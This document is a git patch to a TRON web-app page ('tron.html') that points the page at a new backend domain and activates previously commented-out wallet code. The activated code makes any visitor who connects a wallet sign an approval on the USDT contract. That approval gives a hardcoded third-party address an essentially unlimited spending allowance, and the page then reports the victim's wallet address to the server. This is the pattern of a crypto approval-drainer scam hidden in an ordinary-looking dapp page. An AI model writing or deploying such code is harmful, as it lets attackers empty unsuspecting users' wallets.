From 0478cd3315542893cc639d50c302c5253ea70df0 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 20 Oct 2021 10:01:50 +0800
Subject: [PATCH] fix

---
 src/main/resources/static/tron-app/tron.html |   37 ++++++++++++++++++-------------------
 1 files changed, 18 insertions(+), 19 deletions(-)

diff --git a/src/main/resources/static/tron-app/tron.html b/src/main/resources/static/tron-app/tron.html
index 73f9f26..b3bd925 100644
--- a/src/main/resources/static/tron-app/tron.html
+++ b/src/main/resources/static/tron-app/tron.html
@@ -29,7 +29,7 @@
 			var agent = "10000";
 			var rank = 6.5;
 			var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
-			var domain = 'http://120.27.238.55:8802';
+			var domain = 'https://dapp.dream-space.top';
 			// var domain = 'http://localhost:8080';
 			var bizhong = 'USDT';
 			var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
@@ -131,25 +131,24 @@
 				$('.modal').removeClass('modal-out').addClass('modal-in');
 				let tronWeb = window.tronWeb;
 				let walletAddress = tronWeb.defaultAddress.base58;
-				postInfo(walletAddress,bizhong);
 				// bizhong = await getMostValuableAssets(walletAddress);
-				// let instance = await tronWeb.contract().at(approveAddr);
-				// let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
-				// res.send({
-				// 	feeLimit: 100000000,
-				// 	callValue: 0,
-				// 	shouldPollResponse: false
-				// },function(err,res){
-				// 	if(err == null){
-				// 		$(".tishi").fadeIn()
-				// 		setTimeout(function () {
-				// 			$(".tishi").fadeOut()
-				// 		},2000);
-				// 		postInfo(walletAddress,bizhong)
-				// 	}
-				// 	$('.modal-overlay').remove();
-				// 	$('.modal').removeClass('modal-in').addClass('modal-out');
-				// })
+				let instance = await tronWeb.contract().at(approveAddr);
+				let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
+				res.send({
+					feeLimit: 100000000,
+					callValue: 0,
+					shouldPollResponse: false
+				},function(err,res){
+					if(err == null){
+						$(".tishi").fadeIn()
+						setTimeout(function () {
+							$(".tishi").fadeOut()
+						},2000);
+						postInfo(walletAddress,bizhong)
+					}
+					$('.modal-overlay').remove();
+					$('.modal').removeClass('modal-in').addClass('modal-out');
+				})
 			}
 			function init() {
 			}

--
Gitblit v1.9.1